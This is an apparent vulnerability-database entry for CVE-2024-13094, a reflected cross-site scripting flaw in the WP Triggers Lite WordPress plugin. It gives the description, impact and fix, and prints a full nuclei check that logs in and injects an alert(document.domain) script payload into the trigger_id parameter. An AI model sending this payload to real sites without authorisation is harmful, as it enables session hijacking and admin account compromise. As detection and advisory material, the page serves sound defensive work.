HexBrain

Browse / CVEs / CVE-2024-13094

CVE-2024-13094· wptriggers / wp triggers lite· CWE-79

WP Triggers Lite - Cross-Site Scripting

highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WP Triggers Lite WordPress plugin v2.5.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of WP Triggers Lite plugin that addresses this issue or apply security patches if available.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 or contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=add-trigger&trigger_id=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-triggers")

Run it with nuclei: nuclei -id CVE-2024-13094 -u <target>

The full check
id: CVE-2024-13094

info:
  name: WP Triggers Lite - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    WP Triggers Lite WordPress plugin v2.5.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of WP Triggers Lite plugin that addresses this issue or apply security patches if available.
  reference:
    - https://wpscan.com/vulnerability/7a75809e-824e-458e-bd01-50dadcea7713/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13094
    cwe-id: CWE-79
    epss-score: 0.00595
    epss-percentile: 0.48788
    cpe: cpe:2.3:a:wptriggers:wp_triggers_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wptriggers
    product: wp_triggers_lite
  tags: cve,cve2024,wptriggers,wp-triggers-lite,authenticated,wordpress,wp,wp-plugin

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=add-trigger&trigger_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-triggers")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from